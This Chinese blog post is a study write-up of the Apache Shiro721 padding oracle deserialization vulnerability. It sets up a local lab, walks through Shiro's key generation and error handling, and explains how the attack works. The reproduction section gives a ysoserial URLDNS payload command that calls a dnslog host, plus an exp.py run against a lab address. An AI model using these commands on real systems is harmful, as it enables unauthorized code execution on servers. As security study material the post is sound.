Shiro721流程分析
0x01 前言
本来早该学习的洞,一直拖着了,拖到了现在,发现面试必考,还是想着早补早安心。
在 Shiro550 漏洞中,Cookie 所使用的 AES 加密密钥为硬编码,所以我们可以构造恶意序列化数据并使用固定的 AES 密钥进行正确加密恶意序列发送给服务端,进而达到攻击的目的。但在该漏洞公布后,Shiro 官方修复了这一漏洞,将AES密钥修改成了动态生成。也就是说,对于每一个 Cookie,都是使用不同的密钥进行加解密的。
0x02 环境搭建
先下载对应的 jar 包 samples-web-1.4.1.war,将 jar 包里面的内容解压一下,samples-web-1.4.1\WEB-INF\lib
中的 CommonsCollections
包版本修改为 3.2.1
接着新建项目包,选中 web-app
的 maven arch,将 samples-web-1.4.1 的包解压,放到 webapp
文件夹中,项目结构如图
再把 WEB-INF\lib
加入 project structure 中
之后再配 Tomcat 即可,如果不想自己搭建环境的话可以用我现成的环境https://github.com/Drun1baby/JavaSecurityLearning/tree/main/JavaSecurity/shiro721
0x03 漏洞复现
漏洞利用前提条件
漏洞影响版本是 1.2.5 <= Apache Shiro <= 1.4.1
Apache Shiro Padding Oracle Attack 的漏洞利用必须满足如下前提条件:
- 开启 rememberMe 功能;
- rememberMe 值使用 AES-CBC 模式解密;
- 能获取到正常 Cookie,即用户正常登录的 Cookie 值;
- 密文可控;
漏洞复现
首先正常登录进去,勾选上 rememberMe 选项:
刷新当前页面或访问 /account
页面,获取此时登录成功的 rememberMe 值:
使用 ysoserial 工具生成 URLDNS 验证 payload:
1 | java -jar ysoserial-master-6eca5bc740-1.jar URLDNS "http://5zfnof.dnslog.cn" > payload.class |
利用GitHub的exp来进行 Padding Oracle Attack:
1 | #https://github.com/3ndz/Shiro-721 |
安装脚本不需要 pip install paddingoracle
,直接将 GitHub 项目的 paddingoracle.py
放到同目录即可。
运行该 exp 脚本进行爆破,因为是爆破,所以运行的时间会比较久一些,payload 如下
1 | python2 exp.py http://192.168.5.3:8081/shiro721_war/account /COGnLcSO/3cUooGdYVDkQQNHrfZTNY+k0BCXPOmA9L+l7MRr3ZRYyuzDWZPNTSUFmFlkZWG+HJcecRLkdAMuxa43+i/hynQP7cYrDiulXmfTbuKmL8oz9DO9pmpUaumyCU0V3xfyLsv0+o3uYK/8Tlh9Ns+TMng3lMenVclDk3pjL/tPL/gfVFz50SMZw67WgdbG4mBzq0URLXG6d9yqB469ruPeKty5q3yjSfWDvOxJcR2OpUJg6dauiJNqwQwsu3FrkPmUlEAwZtQ/EpS9+74Ey5YVNuq350U00Df4ckmmHURCdRi/847d2dSHNQ80Wsoe4IseBOXabm6CBs+mcb4PWptM//E7CDaY6/UwTOm5yzK8/KSa+RNSXhHkOx4CH9wOyh8peq8bexGtoI1CzkqK54QwFkOzCu/bE9VPDU7ylZil3Xlc5oTDy79BHAZXfOgbUcgSSoV6OoOVG1DC6o6ptRYlFT0KBNjwS+ivFtbbA7kxf2Fq9K4tqxC2QI3 payload.class |
最终运行成功会给我们一个 rememberMe cookie 去打
这里我们将爆破生成的 cookie 替换进原本 /account
界面的 cookie 中去,发包,成功打到 DNS
当然也可以使用现成的工具 ShiroExploit.V2.51,输入测试网址以及登录用户的 Cookie
0x04 漏洞分析
这里相关原理可以看鸿哥写的文章 ———— https://goodapple.top/archives/217
我对于漏洞的分析就直接在这基础之上总结一下
Padding Oracle Attack 构造加密数据分析
网上讲的文章大多数都是讲的如何使用 Padding Oracle Attack 来获取明文。但是这种场景在 Apache Shiro Padding Oracle Attack 这个漏洞场景中就不适用了。在这个场景中,我们需要构造恶意加密数据,进行解密后反序列化。
这里简单说下 Padding Oracle Attack 加密数据整体过程:
- 选择一个明文
P
,用来生成你想要的密文C
; - 使用适当的 Padding 将字符串填充为块大小的倍数,然后将其拆分为从 1 到 N 的块;
- 生成一个随机数据块(
C[n]
表示最后一个密文块); - 对于每一个明文块,从最后一块开始:
- 创建一个包括两块的密文C’,其是通过一个空块(00000…)与最近生成的密文块
C[n+1]
(如果是第一轮则是随机块)组合成的; - 这步容易理解,就是Padding Oracle的基本攻击原理:修改空块的最后一个字节直至Padding Oracle没有出现错误为止,然后继续将最后一个字节设置为2并修改最后第二个字节直至Padding Oracle没有出现错误为止,依次类推,继续计算出倒数第3、4…个直至最后一个数据为止;
- 在计算完整个块之后,将它与明文块
P[n]
进行XOR一起创建C[n]
; - 对后续的每个块重复上述过程(在新的密文块前添加一个空块,然后进行Padding Oracle爆破计算);
- 创建一个包括两块的密文C’,其是通过一个空块(00000…)与最近生成的密文块
简单地说,每一个密文块解密为一个未知值,然后与前一个密文块进行XOR。通过仔细选择前一个块,我们可以控制下一个块解密来得到什么。即使下一个块解密为一堆无用数据,但仍然能被XOR化为我们控制的值,因此可以设置为任何我们想要的值。
漏洞代码分析
密钥生成
在 Shiro550 中,密钥是硬编码,就像下面这样
1 | public AbstractRememberMeManager() { |
而在 Shiro721 中,密钥的生成方式变为了动态生成
1 | public AbstractRememberMeManager() { |
我们可以跟进调试一下,断点下在 org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey()
下,shiro 通过 generateNewKey()
方法获取密钥,跟进
这里获取到了一个随机数生成器 SecureRandom
, 跟进 init()
往下看,这里 var4 是 AESKeyGenerator
,跟进 engineInit()
方法,进行了 AES 算法的初始化。
回到 org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey()
,跟进 generateKey()
方法
这里需要手动在 com.sun.crypto.provider.AESKeyGenerator#engineGenerateKey()
方法下个断点,不然不会停在这里。
可见这里已经生成了一串16字节的随机序列,并且返回一个 SecretKeySpec
对象,再使用getEncoded()
方法获取 key
密钥序列。
至此就是 Shiro721 完整的密钥生成过程。
在 shiro721 中的 Padding Oracle Attack
要成功进行 Padding Oracle Attack 是需要服务端返回两个不同的响应特征来进行 Bool 判断的。
在 Apache Shiro 的场景中,这个服务端的两个不同的响应特征为:
- Padding Oracle 错误时,服务端响应报文的 Set-Cookie 头字段返回
rememberMe=deleteMe
; - Padding Oracle 正确时,服务端返回正常的响应报文内容;
我们可以通过响应头来判断明文填充是否正确,进而爆破出中间值。那么对于解密不正确的 Cookie,Shiro 是怎么处理的呢?
Padding 错误处理
解密函数在 org.apache.shiro.mgt.AbstractRememberMeManager#decrypt()
中
跟进 cipherService.decrypt()
,最后到 crypt()
中调用 doFinal()
方法
doFinal()
方法有 IllegalBlockSizeException
和BadPaddingException
这两个异常,分别用于捕获块大小异常和填充错误异常。异常会被抛出到 crypt()
方法中,最终被 getRememberedPrincipals()
方法捕获,并执行 onRememberedPrincipalFailure()
方法。
onRememberedPrincipalFailure()
方法调用了 forgetIdentity()
。在 Shiro550 中我们分析过,该方法会调用 removeFrom()
,并且会在response头部添加字段 Set-Cookie: rememberMe=deleteMe
倘若Padding结果不正确的话,响应包就会返回 Set-Cookie: rememberMe=deleteMe
。
Padding正确,反序列化处理
CBC模式下的分组密码,如果某一组的密文被破坏,那么在其之后的分组都会受到影响。这时候我们的密文就无法正确的被反序列化了。
Shiro中关于反序列化的处理在 org.apache.shiro.io.DefaultSerializer#deserialize()
方法下
如果反序列化的结果错误,则会抛出异常。最后异常仍会被 getRememberedPrincipals()
方法处理。这也就是上面讲的 response 包里会回显 302 且 rememberMe=deleteMe
但是对于 Java 来说,反序列化是以 Stream 的方式按顺序进行的,向其后添加或更改一些字符串并不会影响正常反序列化。我们可以来测试一下。
我们获取正常用户的 Cookie 并使用密钥解密,可以看到最后填充的数据为 0x0B
下面我们将其更改为其他合法填充方式,然后加密发送出去
服务器端正常响应,于是这里就构造出了布尔条件
- Padding 正确,服务器正常响应
- Padding 错误,服务器返回
Set-Cookie: rememberMe=deleteMe
0x05 小结
感觉从利用上来说并不算是一个很好打的漏洞,不过还是拓展了一条 CBC 攻击的路线。
0x06 Reference
https://www.mi1k7ea.com/2020/10/14/%E6%B5%85%E6%9E%90Shiro-Padding-Oracle-Attack%EF%BC%88Shiro721%EF%BC%89/
https://goodapple.top/archives/261
- 本文标题:Java反序列化Shiro篇02-Shiro721流程分析
- 创建时间:2023-03-08 21:43:04
- 本文链接:2023/03/08/Java反序列化Shiro篇02-Shiro721流程分析/
- 版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!